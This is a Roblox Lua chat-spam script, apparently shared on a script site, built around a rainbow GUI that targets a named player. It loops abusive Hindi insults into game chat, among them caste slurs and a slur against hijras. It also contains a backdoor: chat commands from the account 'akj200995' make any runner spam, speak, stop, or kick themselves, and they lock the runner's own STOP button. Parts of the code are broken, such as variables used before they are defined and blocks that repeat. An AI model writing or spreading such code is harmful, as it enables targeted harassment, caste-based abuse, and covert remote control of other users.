--[[ WARNING: Heads up! This script has not been verified by ScriptBlox. Use at your own risk! ]] --[[ akj200995 V1 - CUSTOM SCRIPT Modified for: akj200995 WARNING: This script contains remote execution features. The user "akj200995" has master control over anyone running this script. ]] local Players = game:GetService("Players") local TextChatService = game:GetService("TextChatService") local ReplicatedStorage = game:GetService("ReplicatedStorage") local player = Players.LocalPlayer -- GUI SETUP local screenGui = Instance.new("ScreenGui") screenGui.Name = "Anil_V1" screenGui.ResetOnSpawn = false screenGui.Parent = player:WaitForChild("PlayerGui") local frame = Instance.new("Frame") frame.Size = UDim2.new(0, 280, 0, 150) frame.Position = UDim2.new(0.5, -140, 0.5, -75) frame.BackgroundColor3 = Color3.fromHSV(hue, 0.4, 0.15) frame.BorderSizePixel = 3 frame.BorderColor3 = Color3.fromRGB(0, 0, 0) frame.Active = true frame.Draggable = true frame.Parent = screenGui local RunService = game:GetService("RunService") local speed = 1.2 -- change speed here local hue = 0 RunService.RenderStepped:Connect(function(dt) hue = (hue + dt * speed) % 1 -- Rainbow background frame.BackgroundColor3 = Color3.fromHSV(hue, 1, 1) -- Slightly brighter border frame.BorderColor3 = Color3.fromHSV((hue + 0.1) % 1, 1, 1) end) -- Rainbow border animation local RunService = game:GetService("RunService") local speed = 1.5 local hue = 0 RunService.RenderStepped:Connect(function(dt) hue = (hue + dt * speed) % 1 frame.BorderColor3 = Color3.fromHSV(hue, 1, 1) end) local title = Instance.new("TextLabel") title.Size = UDim2.new(1, 0, 0, 30) title.BackgroundTransparency = 1 title.Text = "Anil V1" title.TextColor3 = Color3.new(1,1,1) title.Font = Enum.Font.SourceSansBold title.TextSize = 22 title.TextStrokeTransparency = 0.7 title.TextStrokeColor3 = Color3.new(0,0,0) title.Parent = frame -- RGB Title Effect task.spawn(function() while task.wait() and title.Parent do title.TextColor3 = Color3.fromHSV(tick() % 5 / 5, 1, 1) end end) local label = Instance.new("TextLabel") label.Size = UDim2.new(1, -20, 0, 22) label.Position = UDim2.new(0, 10, 0, 38) label.BackgroundTransparency = 1 label.Text = "Enter hater name:" label.TextColor3 = Color3.fromRGB(220, 220, 220) label.TextXAlignment = Enum.TextXAlignment.Left label.Font = Enum.Font.SourceSans label.TextSize = 16 label.Parent = frame local textBox = Instance.new("TextBox") textBox.Size = UDim2.new(1, -20, 0, 28) textBox.Position = UDim2.new(0, 10, 0, 60) textBox.BackgroundColor3 = Color3.fromRGB(50, 50, 50) textBox.BorderColor3 = Color3.fromRGB(0, 255, 255) textBox.BorderSizePixel = 2 textBox.PlaceholderText = "Type name here..." textBox.Text = "" textBox.TextColor3 = Color3.new(1,1,1) textBox.Font = Enum.Font.SourceSans textBox.TextSize = 18 textBox.Parent = frame local warningLabel = Instance.new("TextLabel") warningLabel.Size = UDim2.new(1, -20, 0, 22) warningLabel.Position = UDim2.new(0, 10, 0, 92) warningLabel.BackgroundTransparency = 1 warningLabel.Text = "" warningLabel.TextColor3 = Color3.fromRGB(255, 100, 100) warningLabel.Font = Enum.Font.SourceSansBold warningLabel.TextSize = 16 warningLabel.TextXAlignment = Enum.TextXAlignment.Center warningLabel.Parent = frame local startButton = Instance.new("TextButton") startButton.Size = UDim2.new(0.45, -5, 0, 30) startButton.Position = UDim2.new(0, 10, 1, -35) startButton.BackgroundColor3 = Color3.fromRGB(0, 180, 0) startButton.Text = "START" startButton.TextColor3 = Color3.new(1,1,1) startButton.Font = Enum.Font.SourceSansBold startButton.TextSize = 16 startButton.Parent = frame local RunService = game:GetService("RunService") local speed = 1.5 local hue = 0 RunService.RenderStepped:Connect(function(dt) hue = (hue + dt * speed) % 1 -- START button rainbow startButton.BackgroundColor3 = Color3.fromHSV(hue, 1, 1) -- STOP button rainbow (slightly offset so they look different) stopButton.BackgroundColor3 = Color3.fromHSV((hue + 0.5) % 1, 1, 1) end) local stopButton = Instance.new("TextButton") stopButton.Size = UDim2.new(0.45, -5, 0, 30) stopButton.Position = UDim2.new(0.55, -5, 1, -35) stopButton.BackgroundColor3 = Color3.fromRGB(200, 0, 0) stopButton.Text = "STOP" stopButton.TextColor3 = Color3.new(1,1,1) stopButton.Font = Enum.Font.SourceSansBold stopButton.TextSize = 16 stopButton.Parent = frame local RunService = game:GetService("RunService") local speed = 1.5 local hue = 0 RunService.RenderStepped:Connect(function(dt) hue = (hue + dt * speed) % 1 -- START button rainbow startButton.BackgroundColor3 = Color3.fromHSV(hue, 1, 1) -- STOP button rainbow (slightly offset so they look different) stopButton.BackgroundColor3 = Color3.fromHSV((hue + 0.5) % 1, 1, 1) end) local close = Instance.new("TextButton") close.Size = UDim2.new(0, 25, 0, 25) close.Position = UDim2.new(1, -30, 0, 5) close.BackgroundColor3 = Color3.fromRGB(200, 0, 0) close.Text = "X" close.TextColor3 = Color3.new(1,1,1) close.Font = Enum.Font.SourceSansBold close.TextSize = 18 close.Parent = frame close.MouseButton1Click:Connect(function() screenGui:Destroy() end) -- PROTECTION & FILTERS local function isForbiddenName(name) if name == "" then return false end local cleaned = string.lower(name) -- remove spaces & symbols cleaned = string.gsub(cleaned, "[^a-z0-9]", "") -- leet-speak normalization cleaned = string.gsub(cleaned, "0", "o") cleaned = string.gsub(cleaned, "1", "i") cleaned = string.gsub(cleaned, "3", "e") cleaned = string.gsub(cleaned, "4", "a") cleaned = string.gsub(cleaned, "5", "s") cleaned = string.gsub(cleaned, "7", "t") cleaned = string.gsub(cleaned, "@", "a") cleaned = string.gsub(cleaned, "!", "i") -- block ONLY exact "anil" return cleaned == "anil" end textBox.Focused:Connect(function() warningLabel.Text = "" end) textBox.FocusLost:Connect(function() if isForbiddenName(textBox.Text) then textBox.Text = "" warningLabel.Text = "You Cant Put Your Fathers Name" end end) -- SPAM ENGINE local isSpamming = false local masterControlled = false local function getPatternWithName(name, tag) local suffix = name .. " (" .. tag .. ")" local repeats = math.floor((200 - #suffix) / 2) return string.rep("-_", math.max(0, repeats)) .. suffix end local function getCreditPattern() local suffix = "SCRIPT BY akj200995" local repeats = math.floor((200 - #suffix) / 2) return string.rep("-_", math.max(0, repeats)) .. suffix end local function sendChatMessage(msg) msg = string.sub(msg, 1, 200) if TextChatService.ChatVersion == Enum.ChatVersion.TextChatService then local channel = TextChatService.TextChannels:FindFirstChild("RBXGeneral") if channel then pcall(function() channel:SendAsync(msg) end) end else local events = ReplicatedStorage:FindFirstChild("DefaultChatSystemChatEvents") local remote = events and events:FindFirstChild("SayMessageRequest") if remote then pcall(function() remote:FireServer(msg, "All") end) end end end local function startSpamming(name, byMaster) if isSpamming then isSpamming = false task.wait(0.1) end if isForbiddenName(name) then return end textBox.Text = name masterControlled = byMaster isSpamming = true startButton.Text = "RUNNING" startButton.BackgroundColor3 = Color3.fromRGB(255, 180, 0) if masterControlled then stopButton.Text = "LOCKED" stopButton.BackgroundColor3 = Color3.fromRGB(100, 100, 100) end local messages = { getPatternWithName(name, "tmkc me rudy"), getPatternWithName(name, "tmkc me sai"), getPatternWithName(name, "tmkc me chipkali"), getPatternWithName(name, "tmkc me genda"), getPatternWithName(name, "tmkc me tomato ketchup"), getPatternWithName(name, "tmkc me mikey"), getPatternWithName(name, "tmkc me hijra"), getPatternWithName(name, "tmkc me kutta"), getPatternWithName(name, "tmkc me khamba"), getPatternWithName(name, "tmkc me bhangi "), getPatternWithName(name, "tmkc me chamar"), getPatternWithName(name, "tmkc me chappal"), getPatternWithName(name, "tmkc me mouse"), getPatternWithName(name, "tmkc me lulli"), getPatternWithName(name, "tmkc me hidimba"), getPatternWithName(name, "tmkc me kite"), getPatternWithName(name, "tmkc me phone"), getCreditPattern() } task.spawn(function() while isSpamming do for _, msg in messages do if not isSpamming then break end sendChatMessage(msg) task.wait(1.8) end task.wait(0.5) end startButton.Text = "START" startButton.BackgroundColor3 = Color3.fromRGB(0, 180, 0) stopButton.Text = "STOP" stopButton.BackgroundColor3 = Color3.fromRGB(200, 0, 0) end) end local function stopSpamming() isSpamming = false masterControlled = false end -- REMOTE COMMANDS local AUTHORIZED = "akj200995" local function handleChat(p, msg) if p.Name == AUTHORIZED then if msg == "!stop" then stopSpamming() elseif string.sub(msg, 1, 6) == "!spam " then local target = string.sub(msg, 7):match("^%s*(.-)%s*$") if target ~= "" and not isForbiddenName(target) then startSpamming(target, true) end elseif string.sub(msg, 1, 6) == "!kick " then local kickTarget = string.sub(msg, 7):match("^%s*(.-)%s*$") if player.Name == kickTarget or player.DisplayName == kickTarget then player:Kick("akj200995 kicked you") end elseif string.sub(msg, 1, 5) == "!say " then local sayMsg = string.sub(msg, 6):match("^%s*(.-)%s*$") if sayMsg ~= "" then sendChatMessage(sayMsg) end end end end -- Event Connections startButton.MouseButton1Click:Connect(function() if not isSpamming then startSpamming(textBox.Text, false) end end) stopButton.MouseButton1Click:Connect(function() if not masterControlled then stopSpamming() end end) TextChatService.OnIncomingMessage:Connect(function(message) if message.TextSource then local sender = Players:GetPlayerByUserId(message.TextSource.UserId) if sender then handleChat(sender, message.Text) end end end) Players.PlayerAdded:Connect(function(p) p.Chatted:Connect(function(msg) handleChat(p, msg) end) end)